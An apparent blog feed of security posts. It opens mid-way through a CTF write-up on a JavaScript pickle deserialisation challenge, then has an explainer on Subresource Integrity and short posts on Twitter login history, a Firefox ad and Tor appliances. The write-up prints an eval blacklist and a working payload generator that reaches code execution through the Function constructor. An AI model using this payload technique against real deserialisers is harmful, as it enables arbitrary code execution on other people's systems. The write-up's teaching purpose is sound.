&lt;p&gt;The teacher's pinboard is a website that provides you a log-in form that accepts any kind of username and password combination. After logging in, you are provided with a typical pinboard and you might notice that the website has provided you three cookies of the following format:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;session=7341e6fa2ab3b37f26e0cac6fedc25f3438e5fb9b12a9daed890459aa21f349b12676b3d;
accountinfo=(dp0%0AS&amp;#39;username&amp;#39;%0Ap1%0AS&amp;#39;foo&amp;#39;%0Ap2%0AsS&amp;#39;password&amp;#39;%0Ap3%0AS&amp;#39;bar&amp;#39;%0Ap4%0AsS&amp;#39;admin&amp;#39;%0Ap5%0AI00%0As.;
signature=81a380499ae8a9801c1b791da88d93bb5c74224ce59c60ae4a5010bc943ad85f
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;The accountinfo looks interesting!&lt;/p&gt;
&lt;p&gt;Lets decode it:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;(dp0\nS&amp;#39;username&amp;#39;\np1\nS&amp;#39;foo&amp;#39;\np2\nsS&amp;#39;password&amp;#39;\np3\nS&amp;#39;bar&amp;#39;\np4\nsS&amp;#39;admin&amp;#39;\np5\nI00\ns.
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;With some research (or experience), one might notice that this is the output of &lt;a href="https://docs.python.org/2/library/pickle.html"&gt;Python's pickle module&lt;/a&gt;. Unpickling this thus leads the following dictionary:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;admin&amp;#39;&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;False&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;password&amp;#39;&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;bar&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;username&amp;#39;&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;foo&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Setting &lt;code&gt;admin&lt;/code&gt; to &lt;code&gt;True&lt;/code&gt; does not work, as the other cookie (&lt;code&gt;signature&lt;/code&gt;) seems to enforce integrity of the &lt;code&gt;accountinfo&lt;/code&gt; data. Another idea would be to attempt generic pickle exploits (like &lt;a href="https://blog.nelhage.com/2011/03/exploiting-pickle/"&gt;so&lt;/a&gt;), which did not work out as well.&lt;/p&gt;
&lt;p&gt;After some further close inspection, the user might notice that the JavaScript that comes with the pinboard does not only provide the nice user interface for playing with the notes. It also deals with the cookies! First it reads the cleartext password in your cookies and uses that to derive an encryption key. This key is then used to store the current notes in localStorage. Why? Mostly decoy, actually.&lt;/p&gt;
&lt;p&gt;The interesting part is how it looks a the cookies. It does so by executing &lt;code&gt;pickle.loads()&lt;/code&gt; in JavaScript.&lt;/p&gt;
&lt;p&gt;"Pickle in JavaScript??" you say. Yes, in JavaScript. For this challenge, I have re-implemented Python's pickle module in JavaScript. Pickle is not actually a storage format but a nice little stack machine, that is easy to understand and fun to read. Take a look at &lt;code&gt;/usr/lib/python2.7/pickle.py&lt;/code&gt; for example. The &lt;a href="https://school.fluxfingers.net:1502/javascripts/pickle.js"&gt;JavaScript pickle code&lt;/a&gt; is worth a read too, but the concept is generally the same: If you want to execute a function, you load a reference to a global on the stack and call it using &lt;code&gt;R&lt;/code&gt; (reduce). Parameters of said function should be a tuple on the stack just below the function.&lt;/p&gt;
&lt;p&gt;So what would we do in JavaScript, if we wanted to execute arbitrary code but not write a pickle thing by hand? Well, throw our source code on the stack and call &lt;code&gt;eval()&lt;/code&gt; of course. Turns out, the pickle.js author (me) thought of that too and implemented a blacklist, that disallows certain things:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="kd"&gt;const&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;BLACKLIST&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;require&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;eval&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;setTimeout&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;setInterval&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;setImmediate&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;So that still leaves us with the &lt;code&gt;Function&lt;/code&gt; constructor. I also know that Teams who solved this challenge used &lt;code&gt;process.mainModule.require&lt;/code&gt;, which should also work. In general, the blacklist was more of a hint that one was going in the right direction than a real blocker.&lt;/p&gt;
&lt;p&gt;I ended up writing a &lt;em&gt;compiler&lt;/em&gt; that takes JavaScript source code and produces a pickle object that executes said code:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kd"&gt;function&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;compiler&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;s&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="c1"&gt;// c= load global &amp;quot;Function&amp;quot; on stack&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="c1"&gt;// ( = set marker on stack, S = create String&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="c1"&gt;// t = create tuple from marker to top of stack&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="c1"&gt;//     (i.e. put string in a tuple)&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="c1"&gt;// R = call top-of-stack - 1 with top-of-stack as the argument&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="c1"&gt;//&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="c1"&gt;// i.e., call Function(), with s as param  &lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="kd"&gt;var&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;pickle&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;cglobal\nFunction\n(S&amp;#39;&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="nx"&gt;s&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&amp;#39;\ntR&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nx"&gt;pickle&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+=&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;(tR.&amp;quot;&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;pickle&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;};&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Executing arbitrary code means you can now go through the directory and either find the file with the flag or find the source code and the secret key to produce an HMAC for a cookie that has &lt;code&gt;admin&lt;/code&gt; set to &lt;code&gt;True&lt;/code&gt;.&lt;/p&gt;</content><category term="misc"></category></entry><entry><title>A CDN that can not XSS you: Using Subresource Integrity</title><link href="https://frederik-braun.com/using-subresource-integrity.html" rel="alternate"></link><published>2015-07-19T00:00:00+02:00</published><updated>2015-07-19T00:00:00+02:00</updated><author><name>Frederik</name></author><id>tag:frederik-braun.com,2015-07-19:/using-subresource-integrity.html</id><summary type="html">&lt;p&gt;&lt;em&gt;This blog post is the text-version of my presentation from OWASP AppSec EU 2015. You can &lt;a href="https://people.mozilla.org/~fbraun/files/sri-appseceu2015.pdf"&gt;download the slides&lt;/a&gt; or &lt;a href="https://www.youtube.com/watch?v=JOcpIF047xs"&gt;watch the video on YouTube&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;
&lt;h2&gt;Introduction&lt;/h2&gt;
&lt;p&gt;In this blog post, I explain &lt;a href="https://w3c.github.io/webappsec/specs/subresourceintegrity/"&gt;Subresource Integrity (SRI)&lt;/a&gt;, of which I am one of the co-editors. SRI is an upcoming W3C standard that …&lt;/p&gt;</summary><content type="html">&lt;p&gt;&lt;em&gt;This blog post is the text-version of my presentation from OWASP AppSec EU 2015. You can &lt;a href="https://people.mozilla.org/~fbraun/files/sri-appseceu2015.pdf"&gt;download the slides&lt;/a&gt; or &lt;a href="https://www.youtube.com/watch?v=JOcpIF047xs"&gt;watch the video on YouTube&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;
&lt;h2&gt;Introduction&lt;/h2&gt;
&lt;p&gt;In this blog post, I explain &lt;a href="https://w3c.github.io/webappsec/specs/subresourceintegrity/"&gt;Subresource Integrity (SRI)&lt;/a&gt;, of which I am one of the co-editors. SRI is an upcoming W3C standard that allows securing third-party loads of JavaScript and CSS. This is achieved by comparing the content with a cryptograhic digest that is contained within the surrounding HTML tag.&lt;/p&gt;
&lt;h3&gt;Motivation&lt;/h3&gt;
&lt;p&gt;Many websites use Content Delivery Networks (CDNs) to improve website performance and save on bandwidth. Loading a popular libraries in a common version from a CDN has a high likelihood of being already in your visitor's cache. A lot of CDNs also provide metrics. &lt;/p&gt;
&lt;p&gt;The problem I see with CDNs is that you are increasing the risk surface of your web application: If your own setup is relatively secure, the attacker may just go ahead and attack the CDN instead.&lt;/p&gt;
&lt;p&gt;This is because JavaScript files included on your HTML execute within the scope of your application: This spans everything that is on the same scheme (HTTP or HTTPS), domain name and port (i.e., on the &lt;a href="https://en.wikipedia.org/wiki/Same-origin_policy#Origin_determination_rules"&gt;&lt;em&gt;same origin&lt;/em&gt;&lt;/a&gt;. &lt;a href="https://annevankesteren.nl/2015/02/same-origin-policy"&gt;See here for more&lt;/a&gt;). This implies not only access to all web content, which may be sensitive information like user names, passwords and email address. The script is also allowed to fully interact with the DOM, the cookies and all permissions given to the current website (e.g., Geolocation, Notifications, etc.).&lt;/p&gt;
&lt;p&gt;Furthermore, attackers that are interested in targeting a lot of users (and not just &lt;em&gt;your&lt;/em&gt; web application) will go for popular CDNs to gain a very high impact - &lt;a href="https://blog.cloudflare.com/an-introduction-to-javascript-based-ddos/"&gt;as we have seen with DDoS attacks against GitHub&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;But reducing this attack surface is not that complicated In fact, we already know exactly what file we want to include. There is no need to allow arbitrary scripts from a third-party to go wild within your web page. If only we could check the file before executing it.&lt;/p&gt;
&lt;h3&gt;Subresource Integrity to the Rescue&lt;/h3&gt;
&lt;p&gt;You &lt;em&gt;can&lt;/em&gt; now check that the scripts matches exactly what you wanted to include, when you originally wrote your web page!&lt;/p&gt;
&lt;p&gt;Subresource Integrity (SRI) allows specifying the &lt;em&gt;digest&lt;/em&gt; of the file that you want to include. The digest is the output of a cryptographic hash function, which helps us achieve integrity.&lt;/p&gt;
&lt;p&gt;The idea is that you provide a short &lt;code&gt;integrity&lt;/code&gt; attribute, which will help the browser decide if the file has been modified. This works because a hash function gives a completely different output every time someone modifies the file.&lt;/p&gt;
&lt;h2&gt;Using Subresource Integrity&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Subresource Integrity is an upcoming W3C standard to secure script and style loads from other domains&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;Just add an &lt;code&gt;integrity&lt;/code&gt; attribute to your script tag.&lt;/p&gt;
&lt;h5&gt;Scripts&lt;/h5&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;script&lt;/span&gt; &lt;span class="na"&gt;src&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;https://code.jquery.com/jquery-1.10.2.min.js&amp;quot;&lt;/span&gt;
        &lt;span class="na"&gt;integrity&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;sha256-C6CB9UYIS9UJeqinPHWTHVqh/E1uhG5Twh+Y5qFQmYg=&amp;quot;&lt;/span&gt;
        &lt;span class="na"&gt;crossorigin&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;anonymous&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&amp;lt;/&lt;/span&gt;&lt;span class="nt"&gt;script&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h5&gt;Styles&lt;/h5&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;link&lt;/span&gt; &lt;span class="na"&gt;rel&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;stylesheet&amp;quot;&lt;/span&gt; &lt;span class="na"&gt;href&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;https://site53.example.net/style.css&amp;quot;&lt;/span&gt;
      &lt;span class="na"&gt;integrity&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;sha256-vjnUh7+rXHH2lg/5vDY8032ftNVCIEC21vL6szrVw9M=&amp;quot;&lt;/span&gt;
      &lt;span class="na"&gt;crossorigin&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;anonymous&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h3&gt;Computing the &lt;code&gt;integrity&lt;/code&gt; value&lt;/h3&gt;
&lt;p&gt;The value of the &lt;code&gt;integrity&lt;/code&gt; attribute forms a tiny micro-syntax, that is the name of the cryptographic hash function (e.g. sha256) and the output that it has given us.&lt;/p&gt;
&lt;p&gt;An example is given in the &lt;a href="https://w3c.github.io/webappsec/specs/subresourceintegrity/#integrity-metadata"&gt;SRI specification&lt;/a&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;-n&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;alert(&amp;#39;Hello, world.&amp;#39;);&amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;openssl&lt;span class="w"&gt; &lt;/span&gt;dgst&lt;span class="w"&gt; &lt;/span&gt;-sha256&lt;span class="w"&gt; &lt;/span&gt;-binary&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;openssl&lt;span class="w"&gt; &lt;/span&gt;enc&lt;span class="w"&gt; &lt;/span&gt;-base64&lt;span class="w"&gt; &lt;/span&gt;-A
qznLcsROx4GACP2dm0UCKCzCG+HiZ1guq6ZZDob/Tng&lt;span class="o"&gt;=&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Just prefix this with &lt;code&gt;sha256-&lt;/code&gt; and you're done.&lt;/p&gt;
&lt;h3&gt;What is this &lt;code&gt;crossorigin&lt;/code&gt; attribute?&lt;/h3&gt;
&lt;p&gt;It is usually not allowed to read the content of files on other domains (rather: origins). It only works if the domain explicitly allows this. In short, SRI requires &lt;a href="https://annevankesteren.nl/2012/12/cors-101"&gt;CORS&lt;/a&gt; to work. The &lt;code&gt;crossorigin&lt;/code&gt; attribute tells the browser to fetch the file in a way that allows reading it afterwards or fail if CORS is not supported. Fortunately, a lot of CDNs already &lt;a href="http://enable-cors.org/"&gt;enable cors&lt;/a&gt;.&lt;/p&gt;
&lt;h3&gt;Multiple hashes&lt;/h3&gt;
&lt;p&gt;You can provide multiple tokens of integrity metadata (i.e., hashname, dash and value) in one &lt;code&gt;integrity&lt;/code&gt; attribute. If they contain different hash functions, the browser will pick and prioritize the strongest.&lt;/p&gt;
&lt;p&gt;You can also specify multiple values with the same hash function. This is useful when you expect one of many possible resources behind a URL. This can happen because of browser sniffing, or when you expect an update to a file that should not break the page.&lt;/p&gt;
&lt;h3&gt;Error Recovery &amp;amp; Reporting&lt;/h3&gt;
&lt;p&gt;Despite earlier attempts, there is no error recovery or error reporting functionality in Subresource Integrity for now.&lt;/p&gt;
&lt;p&gt;You need to recover from failed script loads, otherwise your website may break. A typical attempt would be to load the desired third-party library from an (un-cached) copy on your own origin:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;script&lt;/span&gt; &lt;span class="na"&gt;src&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;https://code.jquery.com/jquery.min.js&amp;quot;&lt;/span&gt;
        &lt;span class="na"&gt;integrity&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;sha256-C6CB9UYIS9UJeqinPHWTHVq…&amp;quot;&lt;/span&gt;
        &lt;span class="na"&gt;crossorigin&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;anonymous&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&amp;lt;/&lt;/span&gt;&lt;span class="nt"&gt;script&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
&lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;script&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;&lt;span class="nb"&gt;window&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;jQuery&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;||&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;write&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;&amp;lt;script src=&amp;quot;/jquery-.min.js&amp;quot;&amp;gt;&amp;lt;\/script&amp;gt;&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&amp;lt;/&lt;/span&gt;&lt;span class="nt"&gt;script&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;You could also use &lt;a href="http://www.w3.org/TR/beacon/"&gt;&lt;code&gt;navigator.sendBeacon&lt;/code&gt;&lt;/a&gt; to log this, if you have an infrastructure for error reporting.&lt;/p&gt;
&lt;h3&gt;Tooling&lt;/h3&gt;
&lt;p&gt;There are already some tools that help using Subresource Integrity.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://github.com/neftaly/npm-sri-toolbox"&gt;sri-toolbox&lt;/a&gt; generates valid integrity metadata (hash name, dash, digest)&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/jonathanKingston/ember-cli-sri"&gt;Ember.js plugin&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/jonathanKingston/broccoli-sri-hash"&gt;broccoli plugin&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Implementation Status&lt;/h3&gt;
&lt;p&gt;Subresource Integrity is coming to mainline browsers soon (&lt;a href="https://bugzilla.mozilla.org/show_bug.cgi?id=992096"&gt;Firefox&lt;/a&gt;, &lt;a href="https://codereview.chromium.org/566083003/"&gt;Chrome&lt;/a&gt; or use a &lt;a href="https://github.com/w3c/webappsec/tree/master/polyfills/subresourceintegrity"&gt;Polyfill&lt;/a&gt;). You can &lt;a href="https://srihash.org/"&gt;test SRI support on srihash.org&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;Conclusion&lt;/h2&gt;
&lt;p&gt;Loading your scripts and styles from a Content Delivery Network (CDN) can harm your website, if the CDN gets compromised or becomes malicious. 
You can add &lt;code&gt;integrity&lt;/code&gt; attributes to secure your third-party scripts &amp;amp; styles. This greatly diminishes security risks, as any change to those files will be detected and prevented by the browser.&lt;/p&gt;</content><category term="misc"></category></entry><entry><title>The Twitter Gazebo</title><link href="https://frederik-braun.com/twitter-gazebo.html" rel="alternate"></link><published>2015-07-18T00:00:00+02:00</published><updated>2015-07-18T00:00:00+02:00</updated><author><name>Frederik</name></author><id>tag:frederik-braun.com,2015-07-18:/twitter-gazebo.html</id><summary type="html">&lt;p&gt;Earlier this week, Twitter rolled out a &lt;a href="https://blog.twitter.com/2015/a-new-dashboard-to-help-you-monitor-and-manage-your-twitter-account"&gt;new account dashboard&lt;/a&gt;. This new feature allows users to manage app access to their account and gain insights into previous logins and their metadata (IP address, app name and date).&lt;/p&gt;
&lt;p&gt;Curious how this works or what my login history looks like, I gave …&lt;/p&gt;</summary><content type="html">&lt;p&gt;Earlier this week, Twitter rolled out a &lt;a href="https://blog.twitter.com/2015/a-new-dashboard-to-help-you-monitor-and-manage-your-twitter-account"&gt;new account dashboard&lt;/a&gt;. This new feature allows users to manage app access to their account and gain insights into previous logins and their metadata (IP address, app name and date).&lt;/p&gt;
&lt;p&gt;Curious how this works or what my login history looks like, I gave it a quick test.&lt;/p&gt;
&lt;p&gt;&lt;img alt="A wild Gazebo appears" src="images/gazebo-cropped.png"&gt;&lt;/p&gt;
&lt;p&gt;Wait, what's that? Twitter Gazebo?&lt;/p&gt;
&lt;p&gt;I mean, it's OK to me that Twitter has access to my account data and that
it is &lt;a href="https://blog.twitter.com/2014/fighting-spam-with-botmaker"&gt;constantly analyzing all tweets and outgoing links of all users&lt;/a&gt;. That's what's making most web sites enjoyable these days: Fighting spam and removing malware is a common thing.&lt;/p&gt;
&lt;p&gt;But what is this Gazebo and does is mean that someone actively used the log-in function to get into my account?&lt;/p&gt;
&lt;p&gt;I will update this blog post, once I have found out…&lt;/p&gt;</content><category term="misc"></category></entry><entry><title>German Firefox 1.0 ad (OCR)</title><link href="https://frederik-braun.com/firefox-faz-ocr.html" rel="alternate"></link><published>2014-11-09T00:00:00+01:00</published><updated>2014-11-09T00:00:00+01:00</updated><author><name>Frederik</name></author><id>tag:frederik-braun.com,2014-11-09:/firefox-faz-ocr.html</id><summary type="html">&lt;p&gt;&lt;img alt="Feuer" src="/images/feuer-kurz.png"&gt;&lt;/p&gt;
&lt;h2&gt;&lt;em&gt;Deutsch&lt;/em&gt;&lt;/h2&gt;
&lt;p&gt;Damals, als Firefox 1.0 herauskam, unterstützten hunderttausende
Freiwillige das Spread Firefox-Projekt um eine Werbeanzeige in der New
York Times zu kaufen.
In deutschland passierte dasselbe, mit dem Namen jedes Unterstützers auf
dieser Werbeseite, in der Frankfurter Allgemeinen Zeitung.
Hier ist eine text version dieser Anzeige, damit diejenigen die …&lt;/p&gt;</summary><content type="html">&lt;p&gt;&lt;img alt="Feuer" src="/images/feuer-kurz.png"&gt;&lt;/p&gt;
&lt;h2&gt;&lt;em&gt;Deutsch&lt;/em&gt;&lt;/h2&gt;
&lt;p&gt;Damals, als Firefox 1.0 herauskam, unterstützten hunderttausende
Freiwillige das Spread Firefox-Projekt um eine Werbeanzeige in der New
York Times zu kaufen.
In deutschland passierte dasselbe, mit dem Namen jedes Unterstützers auf
dieser Werbeseite, in der Frankfurter Allgemeinen Zeitung.
Hier ist eine text version dieser Anzeige, damit diejenigen die damals
dabei waren und ihren Namen widerfinden können.&lt;/p&gt;
&lt;p&gt;Die text version wurde mit gewöhnlichen  &lt;a href="https://en.wikipedia.org/wiki/Optical_character_recognition"&gt;OCR&lt;/a&gt; tools erzeugt.
Sicherlich haben sich hier einige Fehler eingeschlichen&lt;/p&gt;
&lt;p&gt;&lt;a href="/images/feuer-firefox-anzeige-faz.html"&gt;HTML version zum Suchen&lt;/a&gt;, &lt;a href="/images/feuer-firefox-anzeige-faz.pdf"&gt;original PDF&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;&lt;em&gt;English&lt;/em&gt;&lt;/h2&gt;
&lt;p&gt;Back in the days, when Firefox version 1.0 was released hundreds of
thousands supporters donated money to the Spread Firefox project in
order to buy a big one page ad in the New York Times.
The same thing happened in Germany, with the every name of every
contributor on a full page advertisement in the Frankfurter Allgemeine
Zeitung. Here's a text version of this page, for those who remember
the day to find their name again.&lt;/p&gt;
&lt;p&gt;I generated the text version using off-the shelf &lt;a href="https://en.wikipedia.org/wiki/Optical_character_recognition"&gt;OCR&lt;/a&gt; tools.
The result surely contains a lot of errors.&lt;/p&gt;
&lt;p&gt;&lt;a href="/images/feuer-firefox-anzeige-faz.html"&gt;HTML with search&lt;/a&gt;, &lt;a href="/images/feuer-firefox-anzeige-faz.pdf"&gt;original PDF&lt;/a&gt;&lt;/p&gt;</content><category term="misc"></category></entry><entry><title>My thoughts on Tor appliances</title><link href="https://frederik-braun.com/thoughts-on-tor-appliances.html" rel="alternate"></link><published>2014-10-14T00:00:00+02:00</published><updated>2014-10-14T00:00:00+02:00</updated><author><name>Frederik</name></author><id>tag:frederik-braun.com,2014-10-14:/thoughts-on-tor-appliances.html</id><summary type="html">&lt;h1&gt;Anonabox is not a magic bullet!&lt;/h1&gt;
&lt;p&gt;Yesterday, a lot of mainstream media (e.g., &lt;a href="http://www.wired.com/2014/10/tiny-box-can-anonymize-everything-online/?mbid=social_twitter"&gt;WIRED&lt;/a&gt;) started reporting about &lt;a href="https://www.kickstarter.com/projects/augustgermar/anonabox-a-tor-hardware-router"&gt;anonabox&lt;/a&gt;, an "an open source embedded networking device designed specifically to run Tor.", to quote their Kickstarter campaign.&lt;/p&gt;
&lt;p&gt;For those of you who don't know what Tor is: It's a network run …&lt;/p&gt;</summary><content type="html">&lt;h1&gt;Anonabox is not a magic bullet!&lt;/h1&gt;
&lt;p&gt;Yesterday, a lot of mainstream media (e.g., &lt;a href="http://www.wired.com/2014/10/tiny-box-can-anonymize-everything-online/?mbid=social_twitter"&gt;WIRED&lt;/a&gt;) started reporting about &lt;a href="https://www.kickstarter.com/projects/augustgermar/anonabox-a-tor-hardware-router"&gt;anonabox&lt;/a&gt;, an "an open source embedded networking device designed specifically to run Tor.", to quote their Kickstarter campaign.&lt;/p&gt;
&lt;p&gt;For those of you who don't know what Tor is: It's a network run by volunteers that anonymizes your internet traffic. With everyone in the network using someone else's address from time to time, it is becoming harder for an observer (e.g. the websites you browse) to find out who is who.&lt;/p&gt;
&lt;h3&gt;Advertisements &amp;amp; Social Media kill Anonymity&lt;/h3&gt;
&lt;p&gt;This, of course only works until you go to a website like Facebook where you basically have to prove that you are you - because you have to login. But I don't want to talk about the behavioral constraints you have to consider when using Tor - their &lt;a href="https://www.torproject.org/docs/faq.html.en#WhatProtectionsDoesTorProvide"&gt;official FAQ&lt;/a&gt; as well as many other documents have already addressed this.
